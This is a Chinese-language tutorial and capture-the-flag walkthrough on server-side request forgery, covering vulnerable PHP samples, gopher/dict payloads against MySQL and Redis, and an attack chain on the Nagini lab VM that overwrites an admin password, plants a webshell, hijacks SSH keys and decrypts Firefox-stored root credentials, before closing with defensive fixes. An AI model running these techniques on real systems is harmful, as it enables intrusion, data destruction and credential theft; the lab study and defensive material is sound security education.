SSRF服务端请求伪造漏洞原理与修复及靶场实践

news2024/10/7 8:23:34

SSRF服务端请求伪造漏洞原理与修复及靶场实践

SSRF漏洞原理与检测

SSRF(Server-Side Request Forgery,服务器端请求伪造)漏洞是一种因为服务端提供了远程访问服务,而并未对请求目标进行限制或限制不严格而引起的安全漏洞,攻击者利用该漏洞可以在服务器端发起网络请求,通常是向内部网络发起请求,甚至可以从内部网络访问的资源。这种漏洞可能导致的风险包括信息泄露、内部系统攻击、绕过防火墙访问受限资源等。攻击者可能会利用SSRF漏洞执行以下行为:

  • 获取web应用可达服务器服务的banner信息以及收集内网web应用的指纹识别, 如开放的端口,中间件版本信息等。
  • 攻击运行在内网的系统或应用程序,获取内网各系统弱口令进行内网漫游、对有 漏洞的内网web应用实施攻击获取webshell,如st2命令执行、discuz ssrf通过redis 实施getshell等。
  • 利用有脆弱性的组件结合ftp://file:///gopher://dict://等协议实施攻击。如 FFmpeg任意文件读取,XXE攻击等。
  • 利用SSRF存在主机进行跳板,甚至于无视CDN

当涉及到SSRF漏洞时,我们在测试时需要注意一些可能存在漏洞的场景:

  1. 图片抓取、网页分享、FFmpeg 转码等服务器对外发起请求的地方。

  2. 能够对外发起网络请求的地方。 如果服务器可以发起网络请求,就可能存在SSRF漏洞。

  3. 从远程服务器请求资源的地方。 例如通过URL上传、导入文件,或者通过RSS订阅等操作。

  4. 数据库内置功能。 诸如Oracle、MongoDB、MSSQL、PostgreSQL、CouchDB等数据库都具有加载外部URL的功能。

  5. Webmail服务收取其他邮箱邮件。 如POP3、IMAP、SMTP等协议。

  6. 文件处理、编码处理、属性信息处理。 例如FFmpeg、ImageMagick、Word、Excel、PDF、KML等处理文件或数据的程序。

但是在利用SSRF漏洞时,可能会受到一些限制:

  1. OpenSSL:当服务器开启OpenSSL时,SSRF请求也必须遵从OpenSSL来交互,因此在某些情况下无法直接利用。

  2. 鉴权 :大部分网站使用Cookie鉴权,还有一部分使用HTTP Basic认证。当只能控制一个URL时,往往无法添加Cookie或www-authenticate头部字段,从而无法访问某些接口。

  3. 校验其他字段。 例如:Referer、User-Agent等。

SSRF漏洞源代码分析

PHPCURL组件SSRF

<?php
if(isset($_GET['url']) && $_GET['url'] != null){
    $requestURL = $_GET['url'];
    $curlHandle = curl_init($requestURL);
    curl_setopt($curlHandle, CURLOPT_HEADER, FALSE);
    curl_setopt($curlHandle, CURLOPT_SSL_VERIFYPEER, FALSE);
    $response = curl_exec($curlHandle);
    curl_close($curlHandle) ;
    echo $response;
}

这样在PHP中产生SSRF漏洞的原因一般是由于cURL组件发起请求前未对地址进行有效过滤所导致的,下面详细介绍一下cURL组件:

PHP 的 cURL(Client URL Library)是一组允许通过多种协议与服务器进行通信的库。cURL 支持的协议包括 HTTP、HTTPS、FTP、FTPS、SCP、SFTP、SMTP、POP3、IMAP、SMB、GOPHER 等。它是处理网络请求的强大工具,常用于抓取网页、模拟表单提交、进行 API 请求等。

我们使用curl_init建立一个resource对象,否则返回false,它接收一个参数即目标URL,然后我们可以通过curl_setopt来设置请求的选项,通常有以下常用选项:

cURL 选项描述
CURLOPT_URL设置目标 URL。
CURLOPT_RETURNTRANSFER将响应结果返回为字符串,而不是直接输出。
CURLOPT_POST设置请求方式为 POST。
CURLOPT_POSTFIELDS设置 POST 请求的字段。
CURLOPT_HTTPHEADER设置 HTTP 请求头。
CURLOPT_SSL_VERIFYPEER是否验证对方的 SSL 证书。
CURLOPT_TIMEOUT设置请求超时时间。
CURLOPT_HEADER是否在输出中包含响应头部信息。

然后通过curl_exec来发起请求,并且返回请求结果resource对象或false,最后使用curl_close来关闭curl_init建立的resource对象,我们对于这类漏洞的利用常常聚焦于以下URL标准协议范式:

协议描述示例
http://通过 HTTP 协议访问网页和网络资源http://example.com
https://通过 HTTPS 协议访问网页和网络资源https://example.com
ftp://通过 FTP 协议访问文件传输协议服务器上的资源ftp://example.com/file.txt
sftp://通过 SFTP 协议(SSH 文件传输协议)访问资源sftp://example.com/file.txt
ftps://通过 FTPS 协议(FTP Secure)访问资源ftps://example.com/file.txt
file://访问本地文件系统中的文件file:///C:/path/to/file.txt
ldap://访问 LDAP(轻量目录访问协议)目录服务ldap://example.com/dc=example,dc=com
ldaps://通过 LDAPS(LDAP over SSL)访问 LDAP 目录服务ldaps://example.com/dc=example,dc=com
ssh://通过 SSH(安全外壳协议)访问资源ssh://user@example.com
git://通过 Git 协议访问 Git 版本控制系统仓库git://example.com/repo.git
svn://通过 SVN 协议(Subversion)访问 SVN 版本控制系统仓库svn://example.com/repo
ws://通过 WebSocket 协议进行双向通信ws://example.com/socket
wss://通过 WebSocket Secure 协议进行双向通信wss://example.com/socket

注意一个误区:CURL组件并不直接支持PHP的伪协议,这里的file://实质上是一种标准的URL范式,CURL组件直接支持的协议只有HTTP、HTTPS、file、ftp,其他的协议在老版本PHP中需要启用 cURL 封装器:--with-curlwrappers,不过--with-curlwrappers 设置在较新的 PHP 版本中已经被废弃了。PHP 开发团队认为 cURL 封装器在某些情况下可能会带来安全问题和不可预见的行为,因此决定在新的 PHP 版本中弃用这一选项。对于需要网络协议支持的情况,推荐使用 cURL 扩展直接进行网络请求,对于其他的协议需要特定扩展启用

远程文件访问SSRF

<?php
if(isset($_GET['file']) && $_GET['file'] !=null){
    $filename = $_GET['file'];
    $file_content_str = file_get_contents($filename);
    echo $file_content_str;
}

file_get_contents 是 PHP 中用于读取文件内容的函数。它将文件的内容读入一个字符串,并返回该字符串。这个函数常用于读取文件的内容,比如读取文本文件、配置文件,或者从远程服务器获取数据。get_file_content的语法如下:

string file_get_contents ( string $filename [, bool $use_include_path = false [, resource $context [, int $offset = -1 [, int $maxlen = -1 ]]]] )
参数名称类型说明
$filenamestring文件的路径或者URL。可以是本地文件系统路径,也可以是远程文件的URL。
$use_include_pathboolean(可选)如果设置为 true,会在 include 路径中查找文件。默认值是 false。
$contextresource(可选)一个有效的上下文资源,创建自 stream_context_create。用来设置文件读取的环境(比如HTTP请求的头信息)。
$offsetinteger(可选)读取的起始位置。如果设置为负数,则表示从文件末尾开始的偏移量。
$maxleninteger(可选)要读取的最大长度。如果设置为负数或未提供,则读取整个文件。

需要注意的是,该函数支持多种协议,包括PHP的伪协议,但是其包读取远程文件需要allow_url_fopen = On支持

fsockopen访问SSRF

fsockopen是PHP中用于打开网络连接或UNIX套接字连接的函数。它是一个较底层的网络操作工具,允许开发者创建客户端与服务器之间的连接。这个函数特别适用于需要在应用程序中进行自定义网络通信的场景。其函数原型如下:

resource fsockopen ( string $hostname , int $port [, int &$errno [, string &$errstr [, float $timeout = ini_get("default_socket_timeout") ]]] )
参数描述示例op
$hostname要连接的主机名,可以是域名或IP地址。www.example.com 或 192.168.0.1必填
$port要连接的端口号。例如,HTTP默认端口是80,HTTPS默认端口是443。80 或 443必填
$errno变量,用于捕获错误代码。$errno可选
$errstr变量,用于捕获错误信息。$errstr可选
$timeout连接超时时间,单位是秒。默认为php.ini配置中的default_socket_timeout值。30可选
<?php
$hostname = "www.example.com";
$port = 80;
$timeout = 30; // 设置超时时间为30秒

// 尝试打开一个套接字连接
$fp = fsockopen($hostname, $port, $errno, $errstr, $timeout);

if (!$fp) {
    // 连接失败,输出错误信息
    echo "Error: $errno - $errstr<br />\n";
} else {
    // 连接成功,发送HTTP GET请求
    $out = "GET / HTTP/1.1\r\n";
    $out .= "Host: $hostname\r\n";
    $out .= "Connection: Close\r\n\r\n";

    fwrite($fp, $out);

    // 读取服务器响应
    while (!feof($fp)) {
        echo fgets($fp, 128);
    }

    // 关闭连接
    fclose($fp);
}
?>

漏洞利用-SSRF主机探测

在存在SSRF漏洞时,我们可以在请求的地址中修改端口号来进行端口扫描(有的师傅也称服务探针),即:

http://127.0.0.1:port

我们也可以利用BurpSuite的Intruder来自动化探测:

在这里插入图片描述

而我们直接枚举可能的内网主机IP又可以进行内网主机探测:

在这里插入图片描述

漏洞利用-攻击内网薄弱点

因为SSRF具有访问内部服务的特性,我们可以借助SSRF漏洞存在的主机去攻击其它具有漏洞的内网主机,比如我在另一台虚拟机中启动一个RCE漏洞来进行测试,其目标对象主要是使用 GET 参数就可以实现的攻击:

<?php
if (isset($_GET['cmd'])) {
    $target = $_GET['cmd'];
    $cmd = shell_exec($target);
    $utf8_data = mb_convert_encoding($cmd, 'UTF-16', 'auto');
    echo $utf8_data;
}

在这里插入图片描述

漏洞利用-敏感文件泄露

我们直接利用file://协议就可以直接进行文件读取:

在这里插入图片描述

漏洞利用-数据库未授权

GOPHER协议是一种用于在互联网上检索文档的协议,类似于HTTP。它最初于1991年由马克·麦考尔(Mark P. McCahill)等人开发,是早期互联网上流行的一种协议。GOPHER协议的主要特点是其简单性和效率。与HTTP不同,GOPHER协议使用文本格式传输数据,并且不支持复杂的内容和交互性。但是这一协议在Jdk8中被移除支持。

我们之所以利用这个协议,原因是因为它可以将HTTP请求变形,通过直接写入TCP数据流的方式来进行操作:

gopher://host:port/path_(需要接入的TCP数据流)

我们可以使用GOPHER工具来生成我们的payload,然后发起请求即可:

https://github.com/tarunkant/Gopherus

它支持生成MySQL, Redis,PostgreSQL,FastCGI等多种payload我们直接使用以下命令生成即可:

python2 gopherus.py --exploit payload类型

通常攻击MySQL未授权使用此协议,后文的靶场实践中就利用的此协议,在这里我们来讲一下另一种攻击Redis的方式:

dict://协议是一种用于访问字典服务器的协议,它使得客户端可以通过网络查询字典数据库。dict://协议是由GNU项目开发的一部分,旨在提供一种标准化的方法来查询和获取字典定义、同义词、反义词等信息。它使用TCP协议进行通信,客户端通过连接到特定的端口(默认是2628)与服务器进行交互。我们可以利用它来利用Redis未授权访问,例如读取redis的配置信息

dict://host_address:6379/info

我们只需要改变后面的内容即可,例如删除所有键:

dict://host_address:6379/fiushdb

相比于gopher协议,其美中不足的是一次只能执行一条语句

漏洞利用-不安全下载

在一些有下载的业务功能点上,可能会出现文件下载点,并且大概率是临时文件下载,以cURL组件为例:

<?php
    
$url = "http://xxxx.com/file/1.txt";
$saveTo = "downloaded_file.txt";
$ch = curl_init($url);
$fp = fopen($saveTo, 'w+');
curl_setopt($ch, CURLOPT_FILE, $fp);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); // 允许重定向
curl_exec($ch);

// 关闭cURL会话和文件
curl_close($ch);
fclose($fp);

这种情况下开启了文件保存,我们也可以尝试写入Webshell

Nagini通关演示SSRF利用

目标前期信息搜集

此靶机要求获得root权限,找到3个flag,我们先进行ping探测发现主机10.0.2.5

──(root㉿kali)-[~]
└─# nmap -sn 10.0.2.0/24
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-05 13:32 EDT
...
Nmap scan report for 10.0.2.5
Host is up (0.0016s latency).
MAC Address: 08:00:27:DA:26:41 (Oracle VirtualBox virtual NIC)
Nmap scan report for 10.0.2.4
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 2.36 seconds

访问主机页面进行验证,发现主页只有一张图片:

在这里插入图片描述

nmap扫一下端口和服务吧,毕竟什么信息都没有:

┌──(root㉿kali)-[~]
└─# nmap -p- 10.0.2.5   
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-05 13:40 EDT
Nmap scan report for 10.0.2.5
Host is up (0.00040s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:DA:26:41 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 10.42 seconds

貌似没什么用,感觉可以下班了(bushi。继续进行信息搜集,先看看robots.txt摸个奖,发现根目录似乎没有,下班。进行目录爆破吧,没辙:

──(root㉿kali)-[~/Desktop/dirsearch-master]
└─# gobuster dir -u http://10.0.2.5 -w ~/Desktop/directory-list-lowercase-2.3-small.txt -x php,html,js,txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.0.2.5
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /root/Desktop/directory-list-lowercase-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,html,js,txt
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html                (Status: 403) [Size: 273]
/.php                 (Status: 403) [Size: 273]
/index.html           (Status: 200) [Size: 97]
/note.txt             (Status: 200) [Size: 234]
/joomla               (Status: 301) [Size: 305] [--> http://10.0.2.5/joomla/]

还没爆破完发现运行的是joomla,还发现个东西note.txt ,进去看看:

┌──(root㉿kali)-[~]
└─# curl http://10.0.2.5/note.txt 
Hello developers!!


I will be using our new HTTP3 Server at https://quic.nagini.hogwarts for further communications.
All developers are requested to visit the server regularly for checking latest announcements.


Regards,
site_amdin

发现是个提示,叫我们使用http3浏览器去访问,然后我们继续摸joomla扫描发现其根目录下有其关键配置文件,遇到配置文件我们可以试试摸奖管理员备份习惯,很显然摸奖成功,并且我们还发现了robots.txt:

┌──(root㉿kali)-[~]
└─# wget http://10.0.2.5/joomla/configuration.php.bak -O cfg.php
--2024-04-06 01:52:09--  http://10.0.2.5/joomla/configuration.php.bak
Connecting to 10.0.2.5:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1978 (1.9K) [application/x-trash]
Saving to: ‘cfg.php’

cfg.php                 100%[=============================>]   1.93K  --.-KB/s    in 0s      

2024-04-06 01:52:09 (126 MB/s) - ‘cfg.php’ saved [1978/1978]

                                                                                              
┌──(root㉿kali)-[~]
└─# cat cfg.php  
<?php
class JConfig {
        public $offline = '0';
        public $offline_message = 'This site is down for maintenance.<br />Please check back again soon.';
        public $display_offline_message = '1';
        public $offline_image = '';
...

转了一圈发现robots.txt是没啥大用

┌──(root㉿kali)-[~]
└─# curl http://10.0.2.5/joomla/robots.txt

User-agent: *
Disallow: /administrator/
Disallow: /bin/
Disallow: /cache/
Disallow: /cli/
Disallow: /components/
Disallow: /includes/
Disallow: /installation/
Disallow: /language/
Disallow: /layouts/
Disallow: /libraries/
Disallow: /logs/
Disallow: /modules/
Disallow: /plugins/
Disallow: /tmp/

既然是joomla,我们可以试试joomscan专门进行joomla的扫描https://github.com/OWASP/joomscan

[+] FireWall Detector
[++] Firewall not detected

[+] Detecting Joomla Version
[++] Joomla 3.9.25

[+] Core Joomla Vulnerability
[++] Target Joomla core is not vulnerable

[+] Checking Directory Listing                                                                
[++] directory has directory listing :                                                        
http://10.0.2.5/joomla/administrator/components                                               
http://10.0.2.5/joomla/administrator/modules                                                  
http://10.0.2.5/joomla/administrator/templates                                                
http://10.0.2.5/joomla/tmp                                                                    
http://10.0.2.5/joomla/images/banners                                                         
                                                                                              
                                                                                              
[+] Checking apache info/status files                                                         
[++] Readable info/status files are not found                                                 
                                                                                              
[+] admin finder                                                                              
[++] Admin page : http://10.0.2.5/joomla/administrator/                                       
                                                                                              
[+] Checking robots.txt existing                                                              
[++] robots.txt is found                                                                      
path : http://10.0.2.5/joomla/robots.txt                                                      
                                                                                              
Interesting path found from robots.txt                                                        
http://10.0.2.5/joomla/joomla/administrator/                                                  
http://10.0.2.5/joomla/administrator/                                                         
http://10.0.2.5/joomla/bin/                                                                   
http://10.0.2.5/joomla/cache/                                                                 
http://10.0.2.5/joomla/cli/                                                                   
http://10.0.2.5/joomla/components/                                                            
http://10.0.2.5/joomla/includes/                                                              
http://10.0.2.5/joomla/installation/                                                          
http://10.0.2.5/joomla/language/                                                              
http://10.0.2.5/joomla/layouts/                                                               
http://10.0.2.5/joomla/libraries/                                                             
http://10.0.2.5/joomla/logs/                                                                  
http://10.0.2.5/joomla/modules/                                                               
http://10.0.2.5/joomla/plugins/                                                               
http://10.0.2.5/joomla/tmp/                                                                   
                                                                                              
                                                                                              
[+] Finding common backup files name                                                          
[++] Backup files are not found                                                               
                                                                                              
[+] Finding common log files name                                                             
[++] error log is not found                                                                   
                                                                                              
[+] Checking sensitive config.php.x file                                                      
[++] Readable config file is found                                                            
 config file path : http://10.0.2.5/joomla/configuration.php.bak                              

这个joomla版本也找不到什么公布的可用漏洞exp,自此前期收集基本完毕,汇总有用信息:

泄漏的配置文件备份中可能有用的信息如下:

	public $dbtype = 'mysqli'; // mysql
	public $host = 'localhost';
	public $user = 'goblin';  // 数据库账户
	public $password = '';
	public $db = 'joomla';
	public $dbprefix = 'joomla_';
	public $live_site = '';
	public $secret = 'ILhwP6HTYKcN7qMh'; // 加密用的密钥

提示中的http3访问提示:

https://quic.nagini.hogwarts

Http3浏览器配置

这节对配置访问不关心的可以不用看

kali装chrome可以用gdebi,它可以帮我们自动安装依赖,我们运行以下指令即可:

sudo apt install gdebi
wget https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb
sudo gdebi google-chrome-stable_current_amd64.deb
google-chrome --no-sandbox

在chrome的chome://flags页面开启quic设置:

在这里插入图片描述

重启chrome后访问https://quic.nginx.org测试配置是否成功,出现以下内容则证明配置生效:

在这里插入图片描述

我们配置一下host文件去访问notes中的页面然后发现不行。那我们去配置Google的测试版浏览器quiche吧,我们先装个rust,直接输入官方指令,然后根据终端提示输入时,选择默认安装即可:

curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh

然后我们依次运行以下指令安装必要依赖,下面的语句也可以直接写成一条,看个人喜好:

sudo apt install cmake
sudo apt install g++
sudo apt install gcc
sudo apt install gdb

然后关键来了,我们安装quiche浏览器的时候,一定要选择git clone,不然会出现子模块丢失,依赖项不完整等一系列的大坑:

cargo run --bin quiche-client -- https://cloudflare-quic.com/
cd ./quiche
cargo build --examples
cargo test

然后依次运行以下指令进行访问靶场操作:

cd ./target/debug/examples
./http3-client https://quic.nagini.hogwarts

然后,就没有然后了,因为根本不会有wp的回显,笔者疯狂查阅资料,发现可能是由于版本更迭原因,这个靶场实质上是有点问题的,也就是说你访问不了,不过也有水友说多访问几次有概率成功(麻了,在这里卡了两个小时):
在这里插入图片描述

SSRF漏洞检测与利用

借助了一点点场外援助,得知下一步是访问页面internalResourceFeTcher.php,进去是这个样子的:

在这里插入图片描述

一个内部网络资源获取页面,看起来就非常符合我们的服务端请求伪造漏洞的产生条件

常出现SSRF漏洞的功能点:

  • 远程文件包含(Remote File Inclusion):允许用户输入文件路径或URL,用于包含远程文件
  • 远程文件包含(Remote File Inclusion):允许用户输入文件路径或URL,用于包含远程文件。
  • 图像处理(Image Processing):允许用户上传图片并进行处理,如果处理过程中使用了远程URL,可能导致SSRF漏洞。
  • URL转发(URL Forwarding):允许用户输入URL并进行转发或访问,如果未经充分验证,可能导致SSRF漏洞。
  • 资源下载(Resource Download):允许用户输入URL下载资源,未经过滤的输入可能导致SSRF漏洞。

那这里我们怎么测呢?我们可以从内网,外网,本地文件系统三方面测试,由于这里只有一台靶机,那我们测试的点就是环回地址,利用的点就是文件协议了,我们依次尝试:

  • 访问外网链接

在这里插入图片描述

  • 访问内网也行,看来SSRF成立

在这里插入图片描述

直接文件协议走起先看不看能不能成:

在这里插入图片描述

那这个东西要怎么用呢?回头再看看我们手上的信息还有一个备份的配置文件:

	public $dbtype = 'mysqli'; // mysql
	public $host = 'localhost';
	public $user = 'goblin';  // 数据库账户
	public $password = ''; 
	public $db = 'joomla';
	public $dbprefix = 'joomla_';
	public $live_site = '';
	public $secret = 'ILhwP6HTYKcN7qMh'; // 加密用的密钥

我们发现配置文件上的密码,它是空的,想到SSRF可以打未授权,我们不妨试试,先用生成一个payload:

python2 gopherus.py --exploit mysql
USE joomla; SHOW TABLES;

手动打不太好使,我们写个单线程脚本:

from typing import Final
import requests

PAYLOAD: Final = """ """
HOST: Final = 'http://10.0.2.5/internalResourceFeTcher.php'

def ssrf_repeater(host: str, payload: dict[str, str]) -> tuple[str, int]:
    response = requests.get(url=host, params=payload, timeout=2)
    return (response.text, len(response.text))

def start_attack() -> None:
    res_data: tuple[str, int] = None 
    usual_status: int = ssrf_repeater(host=HOST, payload={'1':'1'})[1]
    while True:
        tmp_res: tuple[str, int] = ssrf_repeater(host=HOST, payload={'url': PAYLOAD})
        if tmp_res[1] != usual_status:
            res_data = tmp_res
            break
    
    with open('res.txt', 'w') as f:
        f.write(res_data[0])

if __name__ == "__main__":
    start_attack()

在这里插入图片描述

发现个joomla_users进去看看,然后替换掉管理员密码即可(这里待会儿细说):

SELECT * FROM joomla.joomla_users;

重复上述生成payload过程,继续操作,发现一个site_admin,然后从上面的一大堆乱码里面发现用户字段是username,密码字段是password

在这里插入图片描述

那么问题来了,我们怎么替换它的密码呢?换句话讲它的加密类型是什么?于是我们去搜索一下,发现joomla的加密方式还是有一定的风险,它默认的加密方式是md5

接下来直接生成 123456

import hashlib

md5 = hashlib.md5()
md5.update("123456".encode('utf-8'))
result = md5.hexdigest()
print(result)
# 输出 e10adc3949ba59abbe56e057f20f883e
UPDATE joomla.joomla_users SET password='e10adc3949ba59abbe56e057f20f883e' WHERE username='site_admin';

在这里插入图片描述

梭哈成功,去登录后台

文件修改反弹SHELL

访问靶机地址http://10.0.2.5/joomla/administrator/ ,在网站后台逛了一圈没有发现明显的flag内容,那就只能进入服务器后台了,joomla的后台支持自定义模板,但是却是直接修改文件的,这为我们getshell提供了可能:

templates页面我们可以发现默认模板是protostar,我们进入其中找到一个文件或新建一个文件,植入一句话:

在这里插入图片描述

然后用蚁剑连接,一圈查找发现了几个有意思的文件:

在这里插入图片描述

发现flag1

在这里插入图片描述

写个脚本解码内容:

import base64

encoded_data = "MzogU2x5dGhFcmlOJ3MgTG9jS0VldCBkRXN0cm9ZZUQgYlkgUm9O"  
decoded_data = base64.b64decode(encoded_data)  

print(decoded_data.decode("utf-8"))  
# 输出 3: SlythEriN's LocKEet dEstroYeD bY RoN

.creds.txt文件中会发现一个base64字符串,我们用上面脚本解码:

Love@lilly

怀疑有可能是一个用户密码,我们登录试试:

在这里插入图片描述

SSH替换-hermoine提权

登录成功了,但是还是没有权限查看文件,开始在蚁剑中看到的那个文件是用来复制文件的。目前要想办法提权,试了一圈发现sudo没有,git,python,find目前提不了权,那我们就去利用ssh,传个密钥上去看能不能突破,先生成传递密钥:

┌──(root㉿kali)-[~/.ssh]
└─# ssh-keygen    
Generating public/private ed25519 key pair.
Enter file in which to save the key (/root/.ssh/id_ed25519): 
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /root/.ssh/id_ed25519
Your public key has been saved in /root/.ssh/id_ed25519.pub
The key fingerprint is:
SHA256:pwe5xfe144TDvjZLvg6ubkO1TK7AvocPJu9iggRfBo0 root@kali
The key's randomart image is:
+--[ED25519 256]--+
|   o             |
|  E .            |
|   .             |
|.   o    o o     |
|.. o  . S O o   .|
| ..    o B =.....|
|. .  ..o* o. =.+ |
| . . o+o.*. =o+ .|
|    o o+*+o.oB=. |
+----[SHA256]-----+
                                                                                
┌──(root㉿kali)-[~/.ssh]
└─# ll
total 16
-rw------- 1 root root 399 Apr  9 07:36 id_ed25519
-rw-r--r-- 1 root root  91 Apr  9 07:36 id_ed25519.pub
-rw------- 1 root root 364 Apr  9 07:23 known_hosts
-rw-r--r-- 1 root root 142 Apr  8 10:10 known_hosts.old
                                                                                
┌──(root㉿kali)-[~/.ssh]
└─# scp id_ed25519.pub snape@10.0.2.5:~
snape@10.0.2.7's password: 
id_ed25519.pub                                100%   91    53.0KB/s   00:00 

上传了公钥,我们直接利用开始发现的cp文件移动到hermoine账户中:

snape@Nagini:~$ cd ~
snape@Nagini:~$ ls
id_ed25519.pub
snape@Nagini:~$ /home/hermoine/bin/su_cp id_ed25519.pub /home/hermoine/.ssh/authorized_keys
snape@Nagini:~$ cd /home/hermoine/.ssh/
snape@Nagini:/home/hermoine/.ssh$ ls
authorized_keys
发现flag2

然后登录目标账户,查看文件:

──(root㉿kali)-[~/.ssh]
└─# ssh hermoine@10.0.2.5 -i id_ed25519 
Linux Nagini 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Apr  4 16:43:01 2021 from ::1
hermoine@Nagini:~$ ls
bin  horcrux2.txt
hermoine@Nagini:~$ cat horcrux2.txt 
horcrux_{NDogSGVsZ2EgSHVmZmxlcHVmZidzIEN1cCBkZXN0cm95ZWQgYnkgSGVybWlvbmU=}
hermoine@Nagini:~$ 

base64解密看到是:

4: Helga Hufflepuff's Cup destroyed by Hermione

FireFox泄露- root提权

换了个账户,还是不能通过一些服务提权,估计应该是自己找线索了,看到一个火狐浏览器的文件夹:

.mozilla文件夹通常用于存储 Mozilla 系列软件(如 Firefox 和 Thunderbird)的配置文件和数据。在 Linux 和 macOS 系统上,该文件夹通常位于用户的主目录下。在 Windows 系统上,它通常位于用户的个人文件夹中(例如 C:\Users\YourUsername)。

.mozilla 文件夹中,你会找到各种子文件夹和文件,用于存储浏览器或邮件客户端的书签、历史记录、插件、主题等配置信息和数据。请注意,这些文件可能包含敏感信息,如登录凭据和历史记录,所以请谨慎处理这些文件。

那我们下一步就是要进行文件传输到本地解密:

┌──(root㉿kali)-[~/Desktop]
└─# scp -rp hermoine@10.0.2.7:/home/hermoine/.mozilla ~/Desktop 
profiles.ini                                    100%  175    62.1KB/s   00:00    
InstallTime20190517140819                       100%   10     2.6KB/s   00:00    
InstallTime20190828152820                       100%   10     2.8KB/s   00:00    
InstallTime20190718161435                       100%   10     3.0KB/s   00:00    
InstallTime20180704192850                       100%   10     3.5KB/s   00:00    
InstallTime20201112153044                       100%   10     3.2KB/s   00:00    
6fe7bc8b-2a2b-4d14-d690-87671133c006.dmp        100%  124KB   8.7MB/s   00:00    
...

┌──(root㉿kali)-[~/Desktop]
└─# ls -a
.                                     antSword-master.zip               .mozilla
..                                    code_1.88.0-1712152114_amd64.deb  New
AntSword-Loader-v4.0.3-linux-x64      code.desktop                      res.txt
AntSword-Loader-v4.0.3-linux-x64.zip  firefox_decrypt                   ssrf.py
antSword-master                       Gopherus
                                                                                  
┌──(root㉿kali)-[~/Desktop]
└─# cd firefox_decrypt                 
                                                                                  
┌──(root㉿kali)-[~/Desktop/firefox_decrypt]
└─# python3 firefox_decrypt.py ~/Desktop/.mozilla/firefox 

Website:   http://nagini.hogwarts
Username: 'root'
Password: '@Alohomora#123'
发现flag3
┌──(root㉿kali)-[~/Desktop/firefox_decrypt]
└─# ssh root@10.0.2.5                                         
root@10.0.2.7's password: 
...
root@Nagini:~# ls -a
.   .bash_history  .gnupg        .mysql_history  .selected_editor  .viminfo    .Xauthority
..  .bashrc        horcrux3.txt  .profile        .ssh              .wget-hsts
root@Nagini:~# cat horcrux3.txt 
  ____                            _         _       _   _                 
 / ___|___  _ __   __ _ _ __ __ _| |_ _   _| | __ _| |_(_) ___  _ __  ___ 
| |   / _ \| '_ \ / _` | '__/ _` | __| | | | |/ _` | __| |/ _ \| '_ \/ __|
| |__| (_) | | | | (_| | | | (_| | |_| |_| | | (_| | |_| | (_) | | | \__ \
 \____\___/|_| |_|\__, |_|  \__,_|\__|\__,_|_|\__,_|\__|_|\___/|_| |_|___/
                  |___/                                                   


Machine Author: Mansoor R (@time4ster)
Machine Difficulty: Medium
Machine Name: Nagini
Horcruxes Hidden in this VM: 3 horcruxes

You have successfully pwned Nagini machine.
Here is your third hocrux: horcrux_{NTogRGlhZGVtIG9mIFJhdmVuY2xhdyBkZXN0cm95ZWQgYnkgSGFycnk=}

解码得到:

5: Diadem of Ravenclaw destroyed by Harry

SSRF漏洞的防御与修复

SSRF是含有一定特征性的,一般一个接口,异常的请求内网IP,在日志系统中都有 记录,且很可能是连续性的,因为需要猜测,所以在一定时间段会有明显的请求量。 可以通过这个特征去做初步判断。

  1. 对用户输入进行充分验证和过滤,避免用户输入直接用于构造请求。
  2. 限制服务器发起的网络请求的目标,尽可能使用白名单机制。
  3. 使用安全框架或工具对输入进行检查和过滤,如使用正则表达式检查URL。
  4. 避免将内部接口直接暴露在公网中,使用防火墙等措施限制访问。
  5. 过滤返回信息,验证远程服务器对请求的响应
  6. 统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态
  7. 禁用不需要的协议。仅允许http和https请求
  8. 限制请求的端口为http常用的端口,比如80,443,8080,8090
  9. 限制重定向的目标或直接禁用
<?php
    
function is_url_allowed($url) {
    // 解析URL
    $parsed_url = parse_url($url);
    if ($parsed_url === false) {
        return false;
    }

    // 检查scheme是否在白名单中
    $allowed_schemes = ['http', 'https'];
    if (!in_array($parsed_url['scheme'], $allowed_schemes)) {
        return false;
    }

    // 获取IP地址
    $host = $parsed_url['host'];
    $ip = gethostbyname($host);
    if ($ip === $host) {
        return false; 
    }

    // 允许的IP范围或域名列表
    $allowed_ips = ['203.0.113.0', '203.0.113.1']; 
    $allowed_domains = ['example.com', 'api.example.com'];

    if (!in_array($ip, $allowed_ips) && !in_array($host, $allowed_domains)) {
        return false;
    }

    // 过滤关键字
    $forbidden_keywords = ['localhost', '127.0.0.1', 'internal'];
    foreach ($forbidden_keywords as $keyword) {
        if (strpos($host, $keyword) !== false) {
            return false;
        }
    }

    // 过滤端口
    $allowed_ports = ['80', '443'];
    $port = isset($parsed_url['port']) ? $parsed_url['port'] : '80'; // 默认端口为80
    if (!in_array($port, $allowed_ports)) {
        return false;
    }
    
    return true;
}

function fetch_url($url) {
    if (!is_url_allowed($url)) {
        die('URL not allowed');
    }

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $response = curl_exec($ch);
    curl_close($ch);

    return $response;
}

SSRF漏洞绕过方式总结

  • 对于内网地址的过滤不严谨,我们可以考虑对IP地址进行转换
